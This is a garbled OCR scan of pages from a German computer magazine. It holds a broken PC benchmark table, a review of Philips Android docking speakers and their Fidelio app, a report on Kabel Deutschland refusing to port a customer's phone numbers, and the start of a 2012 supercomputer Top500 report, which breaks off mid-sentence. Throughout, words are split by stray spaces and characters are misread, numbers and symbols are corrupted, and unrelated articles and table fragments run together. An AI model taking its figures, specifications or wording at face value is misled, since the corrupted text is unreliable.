Audio via HDMI I Displayport 
DatentranSfer-Messun en 

USB 2.0 I USB 3.0: Lesen (Schreiben) 
SSD: Lesen (Schreiben) 
LAN: Empfangen (Senden) 
SDHC- I SDXC-Card Lesen (Schreiben) 
6eräuschentwiddun 

USB 2.0, 2 X USB 3.0, 2 X analog Audio, 1 X LAN, 
Power-in (Kieingerätestecker) 
2 x USB 3.0 
n. v. / n. v. / 
v' 

0,3 W IWW I 9,9 W 
43 W / 52 W  

v' I v' I gesetzt 
AHCI I enabled I enabled 
v' I enabled I enabled 
v' I -
v'l /v' / (v' l) 

1 7  s 
- / n. v. / n. v. /v' 

3 3  (25) 1 284 (227) MByte/s 
330 ( 1 77) MByte/s 
1 1 7  ( 1 1 7) MByte/s 
28 (23) I 30 (23) MByte/s 

< 0,1 Sone (�) / 3,3 Sone (66) 
< 0,1 Sone (@@) I 0,5 Sone (Gl) 

Leerlauf I Volllast (Note) 
Festplatte I Brenner (Note) 
SJ!temleistung ___ ..;:;..;:;;;... _____________ --. 
8APCo SYSmark 2012: [Sysmark] I 
Cinebench R1 1 .5 : Multi-Core 
3D Mark Vantage: Performance I 
3D Mark 1 1 :  Performance 

1 26 /  
3 1 5 
1 867 1 
399 

Bewertung ______ .;,;,;,.. _____________ _ 
Systemleistung Office I Spiele I Gesamt 
Audio: Wiedergabe I Aufnahme I front 
Geräuschentwicklung I Systemaufbau 

@ 1 00 1 @ 
@ /  GJ / n. v. 

Lieferum ang == ..... ===---------------. 
Tastatur I Maus v' I v' 
Betriebssystem I Anwendungs-Software Windows 7 Professional (64 Bit) I Cyperlink PowerDVD 
Preis (davon Versandkosten) 1 397 € 
1 primärseitig gemessen, also inkl. Netzteil, Festplatte, DVD 1 erfordert BIOS-Einsteilungen 
$$ sehr gut E& gut 0 Mriedenstelleild e SOl t 
v' funktionien - funktioniert nicht 

g roßer F i rmen a n pei l t .  Ohne 
Fernwartungsoption, dafü r aber 
e in  paar Eu ro b i l l iger, wä re der  
091 0 e in to l ler  PC fü r den he imi­
schen Arbeitsplatz. E in  paar zu­
sätz l iche Schn ittste l l en  würden 
ihn  sogar  a l s  Mu lt imed iazentra le 
im Wohnzimmer empfeh len .  Wir  
s ind jedenfa l l s  gespannt auf sei­
nen kleinen Bruder 05 1 0. (bbe) 
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Prüfstand I Android-lautsprecher 

Alexander Spier 

Droiden-Basis 
Docki ng-Lautsprecher fü r Android 

D i e  Vielfalt d e r  Smartphones und Tablets mit 
Android macht die Entwickl ung von Zubehör schwierig. 
Phi l ips hat fü r seine Lautsprecher dennoch einige 
clevere Lösungen gefunden. 

F ü r  iPhone und i Pad g ibt es 
Hunderte von Docking-Sta­

t ionen mit Lautsprechern, fü r 
Android-Smartphones und -Tab­
lets bis lang jedoch kau m  welche. 
Denn die micro-USB-Buchse 
l iegt bei fast jedem Gerät a n  
einer anderen Stel le .  Bei d e n  d rei 
Docking-Lautsprechern von Phi­
l ips löst e in  beweg l icher USB­
Stecker das Problem: Er  i st an­
ders als d ie Ansch lüsse fü r 
Apple-Geräte n icht fest e i nge­
baut, sondern lässt s ich nach 
l i nks und rechts versch ieben 
sowie u m  1 80° d rehen. Daneben 
befinden s ich zwei i n  der  Höhe 
verste l l ba re Stempel ,  d ie  (:lern 
eingedockten Gerät zusätzl ichen 
Ha lt geben - das fu nktion ierte 
im Test recht gut. 

Schweren Geräten, d ie  den 
Ansch luss n icht i n  der Nähe des 
Schwerpunkts haben, geben die 
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Sockel jedoch keinen aus rei­
chenden Ha lt. Abh i l fe schafft 
e ine aufsteckba re Verlängerung 
der  Auflagefläche, d ie  unseren 
Testgeräten n icht bei lag, l aut  
Ph i l i ps a ber  m itgel iefert wi rd .  
Hat  man d ie r ichtige E instel l ung 
gefunden,  s itzen d ie meisten Ge­
räte s icher .  An die Standfestig­
keit  des b reiteren App le-An­
sch lu sses kommt d ie Micro-USB­
Lösung jedoch n icht hera n  und  
auch das Ansch l ießen erwies 
s ich d u rchweg als fummel iger  
( s iehe Video ü ber den L ink  am 
Ende des  Art ikels) .  

Wi l l  man nur Musik hören, 
muss man d ie Geräte aber auch 
gar  n icht per USB  ansch l ießen.  
Die Ph i l i ps-Lautsprecher laden 
via USB näm l ich  nur  den Akku, 
Mus ik  zapfen s ie per B luetooth 
ab. Die Erkennung  k lappte m it 
Android 2.3 und 4.0 problemlos, 

und auch andere b l uetoothfäh i ­
ge Geräte konnten d ie Lautspre­
cher ansprechen, unabhäng ig  
vom Betriebssystem. 

Drei Größen 

Der AS 1 1 1 / 1 2 i st der  k le inste 
und  g ü n st igste Docki ng-Laut­
sprecher im  Test und e ignet s ich 
mit  d i m m ba rer Uhr und  Nacht­
l icht fü rs Schlafzimmer. Der m itt­
lere AS35 1 / 1 2  und  der  g roße 
AS85 1 / 1 0 s ind a l s  re ine  Laut­
sprecher ohne Display konzipiert 
und  haben e inen Kl i n ken-E in­
gang und  e inen USB-Ansch luss, 
an dem s ich ein weiteres Gerät 
a ufladen lässt. Der AS3 5 1  lässt 
sich mit  Batter ien betre iben,  
dann wi rd jedoch das  a nge­
schlossene Gerät n icht geladen.  

D ie g ut vera rbeiteten Geräte 
haben e inen Power-Knopf und  
e ine Lautstä rkerege l ung .  Beim 
AS85 1 l i efert Ph i l i ps auch e ine 
Fernbed ienung m it Tasten fü r 
Lautstä rke, Wiedergabe und  
Web-Rad io  m i t .  A l le · a nderen 
Funktionen wie Klangeinste l l ung 
und  Wecker steuert man  m it 
e iner  Android-App: der  F ide l io­
App fü r Android, d ie  es kosten los 
im Play Store g ibt. 

Bluetooth-Automatik 

Die  App vere infacht  d i e  B l u e­
tooth-Verbi ndu ngsaufnahme 
zwischen Smartphone und Laut-

sprecher. E rkennt  sie, dass e in  
USB-Kabel angesch lossen wurde, 
versucht s ie, s ich mit e inem 
Lautsprecher zu verb inden und 
akt iv iert dafü r  auch  B luetooth.  
Steckt man das  Gerät ab, wi rd 
der  vorher ige Zustand wieder­
hergeste l lt . A l le rd i ngs erkennt 
d ie  Software n icht, ob tatsäch­
l ich der  Docking-Lautsprecher 
oder nur  e in  Ladegerät a nge­
sch lossen wurde und versucht 
stets, s ich mit dem Lautsprecher 
zu verb inden .  I m merh in  lässt 
sich die Automatik abschalten. 

Ansonsten bietet d ie App nu r  
wen ige F u n kt ionen:  Man ka nn  
Webradio hören, s i ch  das  Wetter 
a nzeigen lassen,  d ie  K langein­
stel l u ngen der  Docking-Laut­
sprecher verä ndern und e inen 
Wecker ste l len .  

Trotz des ger ingen Funk­
t ionsu mfangs  i st d ie  Bed ienung 
ziem l ich komp l iz iert. Ph i l i ps 
hat kei n  sch l ü ss iges Bed ienkon­
zept verwi rk l icht, zum Beispie l  
findet s ich manchmal i nnerha lb  
der  App e in  . .  Zu rück"-Pfe i l ,  
manchmal  muss man ·stattdes­
sen die Android-Taste fü r .. zu­
rück" d rücken.  Außerdem befi n­
den sich die E instel l u ngen fü r 
B l uetooth,  U h r, Wecker und 
K lang a n  versch iedenen Orten .  
Dad u rch ver langt Ph i l i ps dem 
N utzer e in iges a n  E ingewöh­
nungszeit ab. 

Für die Kernaufgabe, das  Ab­
sp ie len  von Mus i k, verweist 
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Phi l ips stellt eine kosten­
lose App bereit, die die 
Bluetooth-Verbindungs­
aufnahme zu den Laut­
sprechern erleichtert . . .  

F ide l io  a u f  d i e  A p p  Song b i rd ,  
d ie  man  sepa rat a u s  dem 
Goog le  P lay Store heru nter la ­
den m�ss. 

Im  Test meldete Android ge­
legentl ich den Absturz von F ide­
l io, d ie  App setzte i h re Arbeit da­
nach aber problemlos fort. Es las­
sen s ich auch andere Mus ik- und 
Wecker-Apps n utzen, dann muss 
man d ie  B luetooth-Verbi ndung  
selbst herste l len .  

Dezente bis 
übertriebene Bässe 

Der AS 1 1 1  a l s  k le inster Vertreter 
im  Test ist erwa rtungsgemäß 
kein  Klangwunder, er reicht, u m  
s ich vor d e m  E insch lafen berie­
seln zu lassen. Bässe feh len i hm 
fast vö l l ig ,  der  K l ang  wirkt aber 
weder b lechern,  noch verzerrt er 
bei höheren La utstä rken .  Etwas 
besser und vor a l l em lauter ist 
der AS35 1 .  Hier lassen sich auch 

. . .  sowie eine Weckfunktion 
und Zugriff auf Webradios 
bietet. Optik und Bedienung 
sind a l lerdings gewöhnungs­
bedürftig. 

dezente Bässe vernehmen.  Der 
Klang i st insgesamt etwas ausge­
wogener, H i F i -Qua l ität fü rs 
Woh nz immer da rf man a ber  
n icht erwarten .  

F ü r  mehr  a l s  nur  nebenbei  
Mus ik zu hören eig net s ich erst 
der AS85 1 .  Dan k  der Bass laut­
sprecher a uf der Rückseite s ind  
h ier  d ie  Tiefen gut vertreten, m it 
Bassboost sogar  übertrieben. Die 
Höhen sind etwas spitz - i nsbe­
sondere bei höheren Lautstä r­
ken -, werden aber viel d ifferen­
z ierter wiedergegeben als von 
den anderen Boxen .  

Beim AS35 1 und AS851  lassen 
s ich m it der  App d ie  K lange in­
ste l l ungen verändern .  S ie wer­
den im Lautsprecher gespei­
chert, sodass s ie s ich auch a uf 
andere Anwend ungen auswi r­
ken .  F ü r  den AS85 1 spendiert 
Ph i l ips  e inen Equa l izer, be i m  
AS3 5 1  kann  m a n  n u r  Profi le aus­
wäh len.  

Android-Docking-Lautsprecher 
MOdell 

Lieferumfang 
Maße (B X H x T) 
Gewicht 
Display I Licht v I v 
Lautsprecher I Leistung 1 1 / 4 W 
USB-Stecker / -Buchse I AUX-In v I - I -
Preis (Straße) 65 € 
1 Herstellerangaben ;;;..;... _______ _ 
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111 � AS351/12 

Netzteil, 3,5-mm-Kiinkekabel 
27,1 cm x 8,9 cm x 14,2 cm 
0,9 kg 
- / -
2 / 10 W  
v /v iv 
108 € 

Prüfstand I Android-Lautsprecher 

Auf Tablets verschwendet 
die App viel Bi ldschirm­
fläche. Beim Radiohören 
vermisst man Titel infos 
oder eine Senderliste. 

Fazit 

Betrachtet man nur d ie  Ha rd­
ware, s ind d ie Docking-Laustpre­
cher fast d u rchweg ge lu ngen.  
Der flex ib le  Ansch luss  i st d ie  
r ichtige Antwort auf d ie Geräte­
vie lfa l t  bei Andro id .  Der K lang 
geht gemessen a n  Preis und 
Größe bei a l len Geräten i n  Ord­
nung .  

D ie  App er le ichtert d i e  Ver­
b indungsa ufna hme, wen n  man 
B l uetooth norma lerweise a us­
gescha ltet hat .  S ie  nervt a l l e r­
d i ngs  m it merkwürd iger  Bedie­
n u n g  und nicht zu Ende ge­
dachten Funkt ionen.  Das meiste 
kan n  man zum G l ück mit  a nde­
ren Apps er led igen ,  F ide l io  
braucht man  e igent l ich n u r  zur  
E inste l l ung  der  Klangpara meter. 

(asp) 

www.d.de/1275064 

Phlll� AS851/12 

Netzteil, 3,5-mm-Kiinkekabel, Fernbedienung 
42,9 cm x 1 6,9 cm x 10,8 cm 
2,1 kg 
- / -
2 / 1 5 W  
v /v iv 
160 € 

65 



Report I Service & Support 

Urs Mansmann 

Herausgabe a 
verweigert 
Kabel Deutschland wi l l  Rufn u mmern­
mitnahme n icht ermög l ichen 

Wechselt m a n  von einer Telefongesellschaft zur 
anderen, darf man seine Rufn u m mern mitnehmen, 
das ist gesetzl ich festgelegt. Vermeintl ich noch 
einfacher l iegt der Fa l l, wenn der a lte und neue 
Ansch luss beim g leichen Anbieter s ind.  F ü r  Klaus  K. 
entwickelte sich eine la ngwierige Geschichte, weil 
er seine Telefonnummer vor vielen Jahren auf den 
Ansch luss der Eltern ü bertragen hatte. 

K l aus  K. bekam in den 90er Jah ren zwei 
Festnetzrufnummern. Damals  war er aus  

dem Elternhaus  a usgezogen und lebte i n  
e iner e igenen Woh n u ng.  D e r  I SDN-An­
sch luss, vor der  E infü h rung von DSL erste 
Wah l  fü r einen flotten l nternetzugang, hatte 
zwei Rufnummern, deren einfache Kombina­
tion sich sehr leicht merken lässt - heutzuta­
ge sind solche Rufn ummern als VIP-Rufnum­
mern be i  manchen Anbietern nu r  gegen Auf­
preis erhält l ich.  

2005 zogen seine Frau und  er i n  e ine 
Wohnung im  elterl ichen Haus.  Die beiden 
Rufnummern l ieß K. a uf den dama l igen 
ISDN-Ansch luss se iner  Eltern portieren. Tele­
fonan Jage und DSL- I nternetzugang nutzte 
die Großfami l ie  fortan gemeinsam. Von den 
insgesamt vier Rufnummern stammten zwei 
von K., zwei waren bereits vorher bei seinen 
Eltern i n  Verwendung .  K. konfi-

Die Port ieru ng  se iner beiden Rufnum­
mern beantragte K .  am 7. Oktober 201 1 .  Am 
1 7 . beschwerte er  s i ch  darü ber, d9s s  s i e  
immer noch nicht erfolgt sei .  Es se i  i h m  wich­
tig, dass er  u nter d iesen Nummern nun a l s­
bald erreichbar  sei .  Kabel Deutsch land lehn­
te den Antrag ab.  "Aus recht l ichen Gründen" 

sei e ine Port ierung n icht zu läss ig .  K. wol lte 
gu rierte die Anlage so, dass e in­
und ausgehende Rufe den Appa­
raten in  den jewe i l igen Woh­
nungen zugeordnet waren .  An­
fang Oktober 20 1 0  wechselten 
K.s Eltern den Ansch lussbetrei­
ber. Statt DSL sol lte künftig das 
TV-Kabel zum E insatz kommen. 
Kabel  Deutsch land ste l lte ei­
nen Breitbandansch luss bereit 
und portierte die vier Rufnum­
mern ins  eigene Netz. 

ifori 
SiCHT 
!UNBEI 

das n icht h innehmen und wider­
sprach.  Schon a m  nächsten Tag 
meldete s ich Kabel  Deutsch land  
per  E-Ma i l .  Man beda uere d ie  
sch lechten Erfah rungen,  d ie K .  ma­
chen m usste. Zum Ausgle ich erhal­
te er e ine Gutsch rift von 1 9,90 Eu ro. 
Ü ber d ie Port ierung verlor der Kun­
denservice aber kei n  Wort. 

Ein Jahr  später verwi rkl ichten K. und seine 
F rau  e inen lange gehegten Tra u m  und er­
warben e in E igenheim.  Nachdem a nfäng l i ­
che Schwierigkeiten be i  der Bereitste l l ung  
des  Kabe lansch lusses ü berwu nden waren, 
beste l lte K. e inen Breitband- und Telefonan­
sch luss bei  dem Kabelanbieter. An der Hot­
l i ne sagte man ihm, dass er provisorisch neue 
Rufnummern erha lte; d ie  Port ierung der 
a lten erfolge aber wen ig später. 
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-
Das Problem von K. löste das 

n icht. Mehrfach versuchte er nun  te-
lefon isch e ine Port ierung der Ruf­

nummern zu erreichen, jedoch ohne Erfo lg .  
Dan n  kam K. a uf d ie Idee, e ine Rufu m leitung 
von den a lten a uf d ie neuen Rufnummern zu 
scha lten, was immerh in seine Erreichbarkeit 
s icherste l lte. Die neuen Rufnummern, die bei 
Angerufenen a ngezeigt wu rde, erzeugten 
aber Verwi rrung .  Außerdem konnte K.s Vater 
n icht telefon ieren, wäh rend der Sohn e inen 
Anruf erhie lt, denn dann waren beide Leitun­
gen belegt. 

Als nach dem U mzug end l ich ein wen ig  
Ruhe eingekehrt und d ie wichtigsten Angele­
genheiten erledigt waren, wandte sich K. im 
Februar  wieder der b is lang erfolg losen Ruf­
nummernport ierung zu. Dem von der Hotl ine 
vorgetragenen Argument, dass e ine Rufnum­
mernportieru ng aus  recht l ichen Gründen 
n icht zu läss ig sei , widersprach er. Die Tele­
kom, die ihm die Nummer u rsprüngl ich zuge­
wiesen hatte, habe i hm bestätigt, dass einer 
Portierung n ichts im Wege stünde. 

Am 9. Februar antwortete Kabel Deutsch­
land .  Aus recht l ichen Gründen sei eine Ruf­
n u m mernübertragung  n icht mög l ich .  Die 
N ummer sei E igentum des Anbieters, der s ie 
das erste Ma l  vergeben habe. Das Recht zur 
N utzung stehe nur e iner Person zu, es könne 
n icht a uf D ritte ü be rtragen werden.  Aber 
gerne könne  man ihm fü r 4,90 Eu ro pro 
Stück weitere Rufn ummern zuweisen. 

K. wol lte aber  keine neuen Rufnummern, 
sondern d ie a lten. Er  bestritt, dass er e in Drit­
ter se i .  Noch e inma l  erk lärte er, dass d iese 
zwei Rufn u m mern ja u rsprüng l ich i hm per­
sön l ich zugewiesen worden seien. Er bot an,  
das  m itte l s  a lter U nter lagen und  Rech n u n­
gen nachzuweisen. Und bat noch e inmal  um 
Port ierung der Rufn u m mern. 

Am 1 4. Februar lehnte Kabel Deutsch land 
se in  Ans in nen wieder ab, wieder mit der 
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wört l ich g le ichen Begründung,  offenbar e in  
Textbaustei n aus  der  Sammlung  des Kun­
denservice. K .  bat  i n  se iner erneuten Antwort 
darum, doch bitte auf seine Anfrage ei nzuge­
hen statt nu r  e inen Standardtext zu senden. 
Die Rufn u m mern gehörten se iner Frau und  
ihm.  Wenn  Kabel Deutsch land s i ch  schon auf  
e ine  rechtl iche Grundlage zurückziehe, dann  
möge man i hm d iese doch  bitte nennen.  

Am 1 7 . Februa r  meldete s ich Kabel  
Deutsch land wieder .  Das Sch reiben war ku rz 
und knapp. D ie Rufn u m mern m itnahme sei 
n icht mög l ich ,  wie bereits mehrfach m itge­
tei lt . Man bedaure. K. schrieb noch kü rzer zu­
rück, i n  der Hoffn ung,  wenigstens e i nma l  
seine F rage beantwortet zu bekommen:  "Auf 
welcher Grund lage entscheiden S ie das?", 
wol lte er wissen. 

Die Antwort kam am 2 1 . Februar. Wieder 
m it dem sattsam beka n nten Textba ustein 
ü ber das E igentum a n  der Rufnummer. Das 
stehe dem Anbieter zu, der d ie  Rufnummer 
da"s erste Mal  vergeben habe. Daraufh in  frag­
te K.  zurück, ob er denn auf dem Portierungs­
formu l a r  d ie  Telekom oder Arcor a ngeben 
sol le, denn d ie  N u m mer habe derzeit ja  
Kabel Deutsch land .  Die Antwort war wieder 
das Formschreiben, d iesmal  zur  Abwechs­
lung i n  der Langfassung.  

Am folgenden Tag rief i hn  der Kundenser­
vice an und K. sch i lderte sein Problem. Dies­
mal  hatte er das Gefü h l, man habe ihn ver­
standen und  werde se in Prob lem end l i ch  
lösen, der Mitarbeiter versprach Abh i lfe. A l s  
s i ch  aber  nach e iner  Woche noch n ichts 
getan hatte, fragte er  noch ma l s  sch rift l i ch 
nach ,  was denn nun  m it der telefonisch zu­
gesagten Port ierung se i .  D ie Antwort vom 
29. Februar ka m kurz und  knapp:  "Leider 
können wi r  I h ren Wunsch aus recht l i chen 
Gründen n icht erfü l len .  Wir  verweisen daher 
auf unseren b isher igen Sch riftverkehr." 

Nochma l s  versuchte K. herauszufi nden,  
welche ominösen recht l ichen Gründe denn 
gegen d iese Rufn u m mern m itnahme sprä­
chen.  l n  se inem Beka n ntenkre i s  waren 
ähn l iche Fä l le von anderen Providern ganz 
unbürokratisch im S inne des Kunden gelöst 
worden.  Von recht l ichen P rob lemen keine  
Spur. Er  ba t  nochma l s  u m  e ine  E i nzelfa l l ­
prüfung .  

Die nahm der  Service offenbar  vor .  Am 
5 .  März schr ieb er: "Wir  haben nochma ls  a l l e  
Umstände geprüft. Leider hat  s i ch  am Sach­
verhalt n ichts geändert. Daher verweisen wir 
auf den vorangegangenen Sch riftwechse l ." 
Und noch e inma l  setzte K. nach, fragte nach 
der recht l ichen Grund lage.  Dr ingend, a ber  
sehr höfl ich bat  er u m  e ine Lösung i n  sei nem 
S inne. 

Lösungsvorschlag 

Nun  hatte Kabel Deutsch land p lötz l ich e inen 
Lösungsvorsch lag:  "Wenden Sie s ich an  I h ren 
bisher igen Anbieter und bitten S ie darum,  
a l s  Ansch lu ss i nhaber e ingetragen zu wer­
den." K. scha ltete schne l l :  "Da S ie ja der bis­
her ige An bieter s ind ,  möchte ich ,  dass Sie 
mir meine Rufn u m mern [ . . .  ] a uf meinen 
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Namen ei ntragen." Zu rück kam a m  6. März 
wieder Formschreiben A in Langfassung.  

Und  wieder monierte K. ,  dass Kabel 
Deutsch land n icht auf seine F ragen eingehe. 
Am 8. März verwendete e in Service-Mitarbei­
ter e inma l  n icht den Textbaustein und ant­
wortete auf K.s F rage: "Die Rufn ummernüber­
tragba rkeit i st i n  Deutsch land i n  § 46 Tele­
komm u n i kationsgesetz (TKG) festgesch rie­
ben." Der verpfl ichtet d ie Netzbetreiber dazu, 
beim Wechsel des Setreibers auf Wunsch des 
Endnutzers eine Portierung vorzunehmen -
genau das, was K. monate lang vergebl ich 
versucht hatte. Und genau das tei lte er dem 
Kabel-Deutsch land-Service m it. 

Die Antwort vom 1 4. März bestand nu r  i n  
e inem Verweis  auf  das  Schreiben vom 
8. Mä rz, das  die F rage von K. a ufgeworfen 
hatte. Und K. versuchte es noch e inmal :  "Laut 
Telekommun i kat ionsgesetz sind S ie ver­
pfl i chtet, meine Rufn u mmer zu port ieren. 
Daher b itte ich S ie noch ma ls  [ . . .  ] ,  d ie  Ruf­
n ummer auf meinen Ansch luss zu portieren." 
Am 1 7. März beschied e in  Kundendienstmit­
a rbeiter K. wieder absch läg ig .  Die Sachlage 
habe s ich nicht geändert. "Vielen Dank fü r Ihr  
Verständn is !" 

Nun  hatte er d ie Nase vol l .  Er d rohte m it 
e iner ju r istischen Prüfung und dass er s ich a n  
c't wenden werde. D e r  Service fertigte i hn  la­
p idar  e in  weiteres Ma l  ab, diesmal mit  Ver­
weis auf e in  vorangegangenes Sch re iben 
von Anfang Februar .  Daraufh i n  wandte er  
s ich a n  d ie  c't-Redaktion und sch i lderte sei­
nen Fa l l .  

Nachgefragt 

Wir baten zunächst d ie  Bundesnetzagentur 
u m  eine E inschätzung.  Zwar g ibt es strenge 
Restr ikt ionen zur  Übertragung,  wenn N u m­
mern nach den heutigen Zuweisungsregeln 
zu kurz s ind .  Diese g reifen der Auskunft der 
Behörde zufolge im  Fa l l  K. aber  n icht, denn 
er hat d iese N ummern ja stets genutzt und 
F reunde und Beka nnte rufen i h n  da rüber an ,  
er wi rd a lso "darü ber identifiziert", w ie  es i n  
d e r  Vorsch rift he ißt. D i e  Ü bertragung  wäre 
also zuläss ig.  Andererseits bestehe aber auch 
kei n  Rechtsa nspruch von K. Aus  S icht der  
Bundesnetzagentur  spr icht  recht l i ch n ichts 
gegen eine Ü bertragung der beiden Ruf­
n ummern in d iesem Fa l l .  

Auch  wenn es keine Vorsch rift i st, sol lte e s  
fü r e in  kundenorient iertes U nternehmen 
se lbstverstä n d l ich se in ,  e i nen  so lchen 
Wunsch zu erfü l len .  Ü ber den U mweg e iner  
offizie l len Ansch l ussübernahme und der an­
sch l ießenden Port ierung zu e inem Drittan­
bieter hätte K. das erzwingen können,  a l s  er 
noch i m  Elternhaus  woh nte, a l le rd ings  mit  
Kooperation se ines  Vaters und m it enormem 
Aufwand .  Der wäre vol l kommen u nnötig, 
wenn Kabel Deutsch land ihm e in  Stückehen 
entgegenkäme. 

Wir  fragten nun bei Kabel Deutsch land an ,  
warum man K. den Gefa l len  n icht e infach tat 
und stattdessen rechtl iche Gründe vorschob. 
P ressesprecher in  Magda lena Pa lewicz ver­
wies auf e ine Al lgemeinverfügung der Bun-
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desnetzagentu r, d i e  d ie  Übertragung von 
Rufnummern der Klasse 3 - zu der K.s Num­
mern gehören - von einem Tei l nehmer zum 

· anderen grundsätzl ich verbietet. "Auf d ieser 
Grund lage erfolgte die Ablehnung der Ruf­
nummernübertragung", erklä rt Palewicz. Al­
lerd ings  lässt d iese Regelung,  wie auch von 
der Bundesnetzagentur bestätigt, eine Aus­
nahme zu, wenn  der Antragste l ler  d ie Num­
mer zuvor selbst genutzt hatte, und der Fa l l  
K. fä l l t  ganz offens icht l ich h ierunter, was 
Kabel Deutsch land aber n icht ohne Weiteres 
anerkennen w i l l .  Die von K. gewünschte 
Übertragung der Rufnummern sei nur unter 
best immten Voraussetzu ngen mög l ich .  "Da 
es s ich um N icht-Kabel-Deutsch land-Ruf­
n u m mern handelt, können wi r  d ies n icht 
nachvol lziehen", erklä rt Palewicz. 

Kabel  Deutsch l and  erfü l lt den Wunsch 
von K laus K. nun  dennoch:  "Da wir  i n  d iesem 
sehr spezie l len E i nzelfa l l  aber eine mög l ichst 
kundenfreund l iche Lösung anbieten möch­
ten, haben wir die techn ischen Mögl ich­
keiten geprüft und e ine Lösung gefunden,  
sodass d ie  Rufn u m mern ab  sofort auf dem 
Ansch l uss von K laus  K. zu r  Verfügung ste­
hen". Kabel Deutsch land verweist auch auf 
d ie  umfangreichen Vorsch riften der Bundes­
netzagentur  zu Ortsrufn u m mern:  "Bitte 
haben Sie Verständn is,  dass es s ich h ierbei 
u m  eine besondere E inzelfa l l lösung handelt, 
d ie  n u r  u nter best immten Bed ingungen 
mög l ich ist." 

Doppelmoral 

Die Vorsch riften der  Bu ndesnetzagentur 
setzte Kabel Deutsch land im Fa l l  K .  buchsta­
bengetreu um; im Zweife l  fä l l t  die Entschei­
dung offenbar gerne e inmal  gegen den Kun­
den, der ja im besch riebenen Fal l bereitwi l l ig 
d ie Vornutzung und damit d ie Voraussetzun­
gen fü r d ie Anwendung der Ausnahmeklau­
sel nachweisen wol l te. 

Wenn  es h ingegen um den eigenen Vor­
tei l  geht, zeigt Kabel Deutsch land e inen 
kreativen Umgang m it der Gesetzeslage. Die 
seit Anfang Ma i  geltenden Ku ndensch utz­
vorsch riften des TKG beispie l sweise werden 
dann  gerne zu rechtgebogen, b is es 
q u ietscht. Gut sehen kann  man das an der 
gesetzl ichen Verpfl i chtung,  Verträge mit 
e inem Jahr Laufzeit a nzu bieten. Versuchen 
Sie mal ,  d ieses Angebot auf der Homepage 
des Anbieters ausfindig zu machen. Mit nur  
e inem kleinen Bruchte i l  d ieser Fantasie und 
F lexib i l ität, mit der h ier Angebote vor  Kun­
den versteckt werden, hätte s ich der Fa l l  K.  
im Handumdrehen lösen lassen. 

Wer e igene Rufn u m mern hat und d iese 
n u r  vorübergehend an e inem Sammelan­
sch luss, künftig aber mög l icherweise wieder 
an  einem eigenen Anschluss n utzen möchte, 
tut gut daran,  d iese n icht in den Nummern­
pool des Ansch luss inhabers zu werfen, etwa 
bei den E itern oder in e iner WG. Bei Val P-An­
bietern wie S ipgate kann  man Rufnummern 
problemlos zwischenpa rken, wäh renddes­
sen nutzen und bei Bedarf jederzeit wieder 
portieren. (uma) �t 
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Andreas Sti l ler 

Höhenfl üge 
I nternationa l Su percom puting Conference 20 1 2 
und die 39. TopSOO-Liste der S u per Com puter 

Die USA haben wieder den schnel lsten Rechner und der schnel l ste 
europäische steht in M ü nchen.  I ntel g i bt seinem speziel len H PC-Chi p  
einen interessanten Namen u n d  a uf d e r  ISC1 2 debattierten Herstel ler 
u n d  Wissenschaft ler  darü ber, wie m a n  d ie  Exasca le-Rec h n e r  
konzipieren m uss, damit man kein Atomkraftwerk a ls  Energiequel le 
da neben stel len m uss. 

F ü r  reich l ich Diskussionsstoff sorgte g le ich 
zu Beg i n n  der I SC 1 2  d ie  neue TopSOO­

Liste der Supercomputer. Wäh rend s ich vor 
. einem ha lben Jahr im Spitzenbereich nahezu 
nichts getan hatte, wurde d iesmal der obere 
Bereich erhebl ich umgewä lzt. Ganz weit 
vorne steht jetzt wieder ein US-amer ikan i ­
sches System. Dessen Aufgabe i s t  es, d ie  na­
t ionale Sicherheit zu wah ren.  

23 Stu nden und  1 7  M i n uten hat er a n  der  
Lösung e iner G le ichung  m it 1 2,7 M i l l ionen 
U n beka nnten gerechnet und  kei n  e i nziger 
Kern sei  dabei  a u sgefa l len ,  so K im Cu pps 
vom Lawrence Livermore Nat iona l  Labara­
tory sto lz, dann hatte er  1 6,3 PF iops im  L in­
pack-Benchmark erre icht :  der  von I BM in­
sta l l ie rte Seq uo ia  m it ü ber  1 ,5 M i l l ionen 
B l ueGene/Q-Rechenkernen.  1 ,36 Tri l l i a rden 
( 1  02 1 )  G le itkommaoperationen i n  doppelter 
Genau igkeit hat er i n  d ieser Zeit berechnet.  
Mit  d ieser enormen Rechen le i stung ver­
weist der  a mer ika n ische S u percomputer 
den bis lang fü h renden K Com puter am 
R IKEN- Inst itut i n  Japan k la r  auf  P latz zwei ,  

Hinter diesen Küh lkörpern sollen sie 
sitzen, die heiß erwarteten Kepler-GK1 1 0-
Chips, hier am Stand von EuroTech. 
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dessen 70 000 Fuj itsu-SPARC64VI I I -Kerne 
1 0,5 PF iops schaffen .  

M it 7 ,9  MW Verbrauch i s t  zudem der B lue­
Gene/Q-Rechner  deutl ich energieeffizienter 
als der  japan i sche SPARC64-Ko l l ege, der  
1 2,7 MW benötigt. So belegt Sequoia zusam­
men mit den a nderen B lueGene/Q-Rechnern 
m it rund 2000 MF iops/Watt e inen der vorde­
ren Plätze in der GreenSOO-Liste. 

U n d  B lueGene/Q-Rechner  g i bts inzwi­
schen reich l ich .  Schon a uf P latz 3 fo lgt mit  
8 ,2  PF iops M i ra vom Argonne Nat iona l  Laba­
ratory und auf P latz 7 kam mit Fermi erstmals 
e in  ita l i en i sches System i n  d ie  Top 1  0, das  
1 ,7 PF iops erzielte. Knapp dah i nter a uf 
P latz 8 l iegt mit  1 ,4 PF iops e in  weiterer B l ue­
Gene/Q-Rechner: JuQUEEN am Supercompu­
ter Centre des Forschungszentrums J ü l ich  
JSC. Doch dam it i st J ü l ich  derzeit nur  auf  
P latz 2 i n  Deutsch la nd,  denn e in  anderer, 
ebenfa l l s  von IBM insta l l ierter Rechner domi­
n ie rt d ie  deutsche und d ie  eu ropäische 
Szene:  SuperMUC a m  Leibn iz-Rechenzen­
trum i n  Gareh ing bei München.  18 432 I ntel-

Rajeeb Hazra zeigte in seiner Keynote den 
Knights-Corner-Prozessor und die Karte, 
die unter dem Namen Xeon Phi vermarktet 
werden sol l .  

Xeon-ES-Prozessoren mit  jewe i l s  8 Kernen 
br ingen d ie über 1 00 i DataP iex-Racks kräftig 
auf Trab, näml ich  auf 2 ,9 PF iops. 

Erstmals  seit 1 997 sind damit zwei deut­
sche Rechner i n  den Top 1  0. Der Vorsprung 
vor JuQUEEN wird aber n icht lange währen, 
denn JSC-Chef Prof. Dr. Thomas Lippert wi l l  
ba ld  d ie Performance-Krone wieder nach Jü­
l i ch  ho len .  Derzeit s ind dort 8 B lueGene/Q­
